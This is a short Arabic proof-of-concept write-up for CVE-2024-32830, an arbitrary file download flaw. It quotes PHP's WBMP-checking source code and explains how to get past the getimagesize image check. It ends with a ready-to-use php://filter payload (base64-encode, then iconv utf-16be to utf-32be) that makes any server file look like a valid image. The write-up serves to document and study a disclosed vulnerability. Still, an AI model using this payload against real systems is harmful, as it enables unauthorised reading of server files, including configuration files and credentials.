
كود PoC لتنزيل الملفات باستخدام CVE-2024-32830
كود PoC لتنزيل الملفات باستخدام CVE-2024-32830
getimagesizeلتجاوز قيد getimagesize، يمكننا إنشاء صورة image/vnd.wap.wbmp بسيطة لـ PHP.
التحقق من نوع الملف بسيط جدًا:
// https://github.com/php/php-src/blob/0029d2b08bbd3cb3aa293d9c8d55bf31faa9e203/ext/standard/image.c#L917
static int php_get_wbmp(php_stream *stream, struct gfxinfo **result, int check)
{
int i, width = 0, height = 0;
if (php_stream_rewind(stream)) {
return 0;
}
/* get type */
if (php_stream_getc(stream) != 0) {
return 0;
}
/* skip header */
do {
i = php_stream_getc(stream);
if (i < 0) {
return 0;
}
} while (i & 0x80);
/* get width */
do {
i = php_stream_getc(stream);
if (i < 0) {
return 0;
}
width = (width << 7) | (i & 0x7f);
/* maximum valid width for wbmp (although 127 may be a more accurate one) */
if (width > 2048) {
return 0;
}
} while (i & 0x80);
/* get height */
do {
i = php_stream_getc(stream);
if (i < 0) {
return 0;
}
height = (height << 7) | (i & 0x7f);
/* maximum valid height for wbmp (although 127 may be a more accurate one) */
if (height > 2048) {
return 0;
}
} while (i & 0x80);
if (!height || !width) {
return 0;
}
if (!check) {
(*result)->width = width;
(*result)->height = height;
}
return IMAGE_FILETYPE_WBMP;
}
أبسط طريقة لإنشاء صورة صالحة هي استخدام بايتين NUL، متبوعين ببايتين < 0x80 للعرض والارتفاع.
من الممكن القيام بذلك لأي ملف باستخدام php://filter.
ستحتاج الطبقة الأولى إلى تطبيق ترميز base64 لضمان أن جميع البيانات هي ASCII، وبالتالي تلبية قيد < 0x80.
الفلتر الثاني سيحتاج إلى إضافة أول بايتين NUL. هذا ممكن عن طريق فرض تحويل من UTF-16BE إلى UTF-32BE. سيؤدي هذا إلى إجبار iconv على تفسير كل جزء من بايتين كحرف UTF-16BE صالح، ثم إضافة بايتين NUL قبله لجعله UTF-32BE. الفلتر الفعلي الذي يجب استخدامه هو: convert.iconv.utf-16be.utf-32be.
الحمولة النهائية لدينا هي php://filter/convert.base64-encode/convert.iconv.utf-16be.utf-32be/resource=<file here>.